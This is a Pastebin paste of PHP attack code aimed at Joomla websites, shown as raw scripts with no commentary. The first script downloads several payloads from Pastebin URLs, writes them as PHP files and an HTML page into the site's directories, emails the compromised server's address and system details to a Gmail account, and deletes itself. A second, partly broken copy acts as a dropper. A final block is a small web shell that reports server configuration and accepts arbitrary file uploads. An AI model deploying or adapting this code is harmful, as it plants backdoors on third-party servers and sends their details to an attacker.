Advertisement
Guest User

Untitled

a guest
Dec 12th, 2018
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. function http_get($url){
  3.     $im = curl_init($url);
  4.     curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  5.     curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  6.     curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  7.     curl_setopt($im, CURLOPT_HEADER, 0);
  8.     return curl_exec($im);
  9.     curl_close($im);
  10. }
  11. $check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
  12. $text = http_get('http://pastebin.com/raw/hjvDMQX1');
  13. $open = fopen($check, 'w');
  14. fwrite($open, $text);
  15. fclose($open);
  16. if(file_exists($check)){
  17.     echo $check."</br>";
  18. }else
  19.   echo "not exits";
  20. echo "done .n " ;
  21. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
  22. $text2 = http_get('http://pastebin.com/raw/KPh36MAb');
  23. $open2 = fopen($check2, 'w');
  24. fwrite($open2, $text2);
  25. fclose($open2);
  26. if(file_exists($check2)){
  27.     echo $check2."</br>";
  28. }else
  29.   echo "not exits2";
  30. echo "done2 .n " ;
  31.  
  32. $check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
  33. $text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
  34. $op3=fopen($check3, 'w');
  35. fwrite($op3,$text3);
  36. fclose($op3);
  37.  
  38. $check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
  39. $text4 = http_get('http://pastebin.com/raw/RA3giT4L');
  40. $op4=fopen($check4, 'w');
  41. fwrite($op4,$text4);
  42. fclose($op4);
  43.  
  44. $check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
  45. $text5 = http_get('http://pastebin.com/raw/KPh36MAb');
  46. $op5=fopen($check5, 'w');
  47. fwrite($op5,$text5);
  48. fclose($op5);
  49.  
  50.  
  51. $toz = "daniel.3.walker@gmail.com";
  52. $subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
  53. $header = 'from: Saico <daniel.3.walker@gmail.com>' . "rn";
  54. $message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "rn" . php_uname() . "rn";
  55. $sentmail = @mail($toz, $subject, $message, $header);
  56.  
  57. @unlink(__FILE__);
  58.  
  59.  
  60. ?>
  61.    
  62. <?php
  63. $check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ;
  64. $fp=fopen("$check","w+");
  65. fwrite($fp,
  66. function http_get($url){
  67.     $im = curl_init($url);
  68.     curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  69.     curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  70.     curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  71.     curl_setopt($im, CURLOPT_HEADER, 0);
  72.     return curl_exec($im);
  73.     curl_close($im);
  74. }
  75. $check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
  76. $text = http_get('http://pastebin.com/raw/hjvDMQX1');
  77. $open = fopen($check, 'w');
  78. fwrite($open, $text);
  79. fclose($open);
  80. if(file_exists($check)){
  81.     echo $check."</br>";
  82. }else
  83.   echo "not exits";
  84. echo "done .n " ;
  85. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
  86. $text2 = http_get('http://pastebin.com/raw/KPh36MAb');
  87. $open2 = fopen($check2, 'w');
  88. fwrite($open2, $text2);
  89. fclose($open2);
  90. if(file_exists($check2)){
  91.     echo $check2."</br>";
  92. }else
  93.   echo "not exits2";
  94. echo "done2 .n " ;
  95.  
  96. $check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
  97. $text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
  98. $op3=fopen($check3, 'w');
  99. fwrite($op3,$text3);
  100. fclose($op3);
  101.  
  102. $check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
  103. $text4 = http_get('http://pastebin.com/raw/RA3giT4L');
  104. $op4=fopen($check4, 'w');
  105. fwrite($op4,$text4);
  106. fclose($op4);
  107.  
  108. $check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
  109. $text5 = http_get('http://pastebin.com/raw/KPh36MAb');
  110. $op5=fopen($check5, 'w');
  111. fwrite($op5,$text5);
  112. fclose($op5);
  113.    
  114. <?php
  115. // name of the file is: i (it has no extension)
  116. error_reporting(0);
  117.  
  118. if(isset($_GET["0"]))
  119.     {
  120.         echo"<font color=#000FFF>[uname]".php_uname()."[/uname]";echo "<br>";print "n";if(@ini_get("disable_functions")){echo "DisablePHP=".@ini_get("disable_functions");}else{ echo "Disable PHP = NONE";}echo "<br>";print "n";if(@ini_get("safe_mode")){echo "Safe Mode = ON";}else{ echo "Safe Mode = OFF";} echo "<br>";print "n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} }
  121. echo 'walex';
  122.  
  123. echo 'uname:'.php_uname()."n";
  124. echo getcwd() . "n";
  125.  
  126. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement